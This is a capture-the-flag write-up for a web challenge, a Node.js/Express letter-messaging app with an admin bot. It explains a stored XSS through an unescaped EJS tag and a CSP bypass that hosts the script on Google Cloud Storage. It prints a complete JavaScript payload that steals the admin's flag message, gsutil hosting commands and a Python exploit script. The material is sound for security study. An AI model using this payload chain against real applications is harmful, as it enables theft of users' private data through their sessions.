Massagold
Massagold
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: gcs_script_hosting_csp_bypass, stored_html_injection_unescaped_ejs, same_origin_message_exfiltration, admin_bot_exploitation
Summary
Walkthrough of the CUSTOM Web Massagold. Task: Node.js/Express messaging app with stored XSS via unescaped EJS and CSP allowing www.googleapis.com. Solution: Host malicious JS on Google Cloud Storage to bypass CSP, exfiltrate admin's flag me
Description
Someone is using sealed harbor letters to make Damas's ships look late, unsafe, and unreliable. If this continues, Eastreach merchants will leave his ports and his enemies will profit from the panic. Lyra needs to steal the first false letter from the harbor office and bring it to Damas, because proof of sabotage is the only thing that can make him open his routes to Stormbound.
English summary: A Node.js/Express web application ("Rookery") implements a medieval-themed messaging system where users send sealed letters. An admin bot (Playwright Firefox) automatically visits messages sent to the "admin" user. The flag is stored in message ID 1, sent from "archivist" to "admin" during database seeding. The goal is to steal this message content from the admin's session.
Analysis
Application Architecture
- Stack: Node.js 22, Express 4.18, EJS 3.1, SQLite3, Playwright Firefox, Nginx reverse proxy
- Session:
express-sessionwith random 32-byte hex secret,httpOnlycookies - Database: SQLite with parameterized queries (no SQL injection)
- Bot: Playwright Firefox, headless — logs in as admin, visits
/messages/<id>with 10s timeout + 2s wait - Seeded users: admin, archivist, scribe, ravenmaster, minstrel, alchemist (all with random passwords)
Vulnerability 1: Stored XSS via Unescaped EJS
In app/views/message.ejs line 17, message content is rendered with the unescaped EJS output tag <%-:
html read-only • copy allowed<pre class="letter-copy"><%- message.content %></pre>
The <%- tag outputs raw HTML without escaping (unlike <%= which escapes), allowing full HTML/script injection via the message content field. The sendMessage controller stores req.body.content directly into the database with no sanitization.
Vulnerability 2: CSP Allows www.googleapis.com for Scripts
The application sets a Content Security Policy in server.js:
default-src 'self';
script-src 'self' https://www.googleapis.com;
style-src 'self';
img-src 'self' data:;
font-src 'self' data:;
connect-src 'self';
object-src 'none';
form-action 'self';
frame-ancestors 'none'
The critical observation: script-src allows https://www.googleapis.com. Google Cloud Storage objects can be served via:
https://www.googleapis.com/download/storage/v1/b/BUCKET/o/OBJECT?alt=media
This URL has host www.googleapis.com, satisfying the CSP. The response has Content-Type: application/javascript (for .js files) and no X-Content-Type-Options: nosniff, so browsers execute it as a script.
Flag Location
The flag is in message ID 1, seeded in entrypoint.js:
javascript read-only • copy allowedawait createMessage(users.archivist, users.admin, `Archive notice:\n\nThe sealed royal record reads:\n${flag}`);
Only the admin can read this message (the showMessage controller checks messages.recipient_id = ? against the session user ID).
Exfiltration Constraint
connect-src 'self' blocks fetch/XHR to external origins. Exfiltration must be done same-origin — the XSS script (running as admin) can fetch /messages/1 and relay the content by creating a new message via POST /messages.
Solution
Step 1: Create GCS-Hosted XSS Payload
Create a public Google Cloud Storage bucket and upload a malicious JavaScript file:
javascript read-only • copy allowed// xss.js — hosted on GCS (async () => { try { const resp = await fetch('/messages/1', { credentials: 'same-origin' }); const html = await resp.text(); const m = html.match(/<pre class="letter-copy">([\s\S]*?)<\/pre>/); const flagContent = m ? m[1].trim() : 'EXTRACT_FAILED:' + html.substring(0, 500); const body = new URLSearchParams(); body.append('to_username', 'xssreceiver'); body.append('content', flagContent); await fetch('/messages', { method: 'POST', credentials: 'same-origin', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: body.toString() }); } catch (e) { const body = new URLSearchParams(); body.append('to_username', 'xssreceiver'); body.append('content', 'XSS_ERROR:' + e.toString()); fetch('/messages', { method: 'POST', credentials: 'same-origin', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: body.toString() }); } })();
Upload to GCS with public ACL:
bash read-only • copy allowedgsutil mb gs://massagold-xss-b1 gsutil cp xss.js gs://massagold-xss-b1/xss.js gsutil acl ch -u AllUsers:R gs://massagold-xss-b1/xss.js
The script URL becomes:
https://www.googleapis.com/download/storage/v1/b/massagold-xss-b1/o/xss.js?alt=media
Step 2: Exploit Script
python read-only • copy allowed#!/usr/bin/env python3 import requests, time, sys, re TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:1337" ATTACKER_USER = "xssreceiver" ATTACKER_PASS = "password123" XSS_SCRIPT_URL = "https://www.googleapis.com/download/storage/v1/b/massagold-xss-b1/o/xss.js?alt=media" def main(): s = requests.Session() # 1. Register attacker user s.post(f"{TARGET}/register", data={"username": ATTACKER_USER, "password": ATTACKER_PASS}, allow_redirects=False) # 2. Send XSS payload to admin payload = f'<script src="{XSS_SCRIPT_URL}"></script>' s.post(f"{TARGET}/messages", data={"to_username": "admin", "content": payload}, allow_redirects=False) # 3. Wait for admin bot to visit the message time.sleep(15) # 4. Check inbox for exfiltrated flag r = s.get(f"{TARGET}/") msg_ids = re.findall(r'href="/messages/(\d+)"', r.text) for mid in msg_ids: r = s.get(f"{TARGET}/messages/{mid}") m = re.search(r'<pre class="letter-copy">([\s\S]*?)</pre>', r.text) if m: content = m.group(1).strip() if "HTB{" in content: print(f"FLAG: {content}") return content if __name__ == "__main__": main()
Attack Chain Summary
- Register user
xssreceiveron the target - Send a message to
adminwith XSS payload:<script src="https://www.googleapis.com/download/storage/v1/b/BUCKET/o/xss.js?alt=media"></script> - Admin bot logs in and visits the message at
/messages/<id> - CSP allows
www.googleapis.com— the GCS-hosted script executes in admin's browser session - Script fetches
/messages/1(the flag message), extracts content from<pre class="letter-copy">...</pre> - Script POSTs the flag as a new message from admin to
xssreceiver(same-origin, allowed by CSP) - Login as
xssreceiver, read inbox — flag received
Key Takeaways / Lessons
- Mastering gcs_script_hosting_csp_bypass, stored_html_injection_unescaped_ejs, same_origin_message_exfiltration, admin_bot_exploitation was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-07-27 • CUSTOM • Massagold • Difficulty: Medium